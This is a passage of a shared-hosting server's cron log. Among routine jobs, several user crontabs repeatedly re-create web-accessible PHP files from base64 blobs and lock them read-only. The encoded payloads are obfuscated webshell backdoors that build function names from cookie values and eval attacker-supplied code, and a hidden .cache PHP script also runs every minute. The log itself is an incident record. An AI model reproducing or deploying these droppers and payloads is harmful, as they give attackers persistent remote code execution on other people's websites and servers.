"$fp"; fi; chmod 444 "$fp")
Mar  2 01:44:02 medusa CROND[3692]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:44:02 medusa CROND[3693]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:44:02 medusa CROND[3694]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 01:44:02 medusa CROND[3695]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:44:02 medusa CROND[3696]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:44:02 medusa CROND[3699]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:44:02 medusa CROND[3700]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 01:44:02 medusa CROND[3715]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:44:02 medusa CROND[3721]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:45:01 medusa CROND[9652]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 01:45:01 medusa CROND[9761]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 01:45:01 medusa CROND[9785]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 01:45:01 medusa CROND[9786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 01:45:01 medusa CROND[9790]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 01:45:01 medusa CROND[9791]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 01:45:01 medusa CROND[9832]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 01:45:02 medusa CROND[9854]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:45:02 medusa CROND[9856]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 01:45:02 medusa CROND[9857]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:45:02 medusa CROND[9861]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:45:02 medusa CROND[9862]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 01:45:02 medusa CROND[9859]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 01:45:02 medusa CROND[9863]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:45:02 medusa CROND[9864]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:45:02 medusa CROND[9867]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:45:02 medusa CROND[9869]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 01:45:02 medusa CROND[9871]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 01:45:02 medusa CROND[9860]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 01:45:02 medusa CROND[9880]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:45:02 medusa CROND[9886]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:45:02 medusa CROND[9873]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 01:45:02 medusa CROND[9903]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 01:46:01 medusa CROND[16401]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 01:46:02 medusa CROND[16570]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 01:46:02 medusa CROND[16572]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 01:46:02 medusa CROND[16573]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 01:46:02 medusa CROND[16574]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 01:46:02 medusa CROND[16576]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 01:46:02 medusa CROND[16577]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiA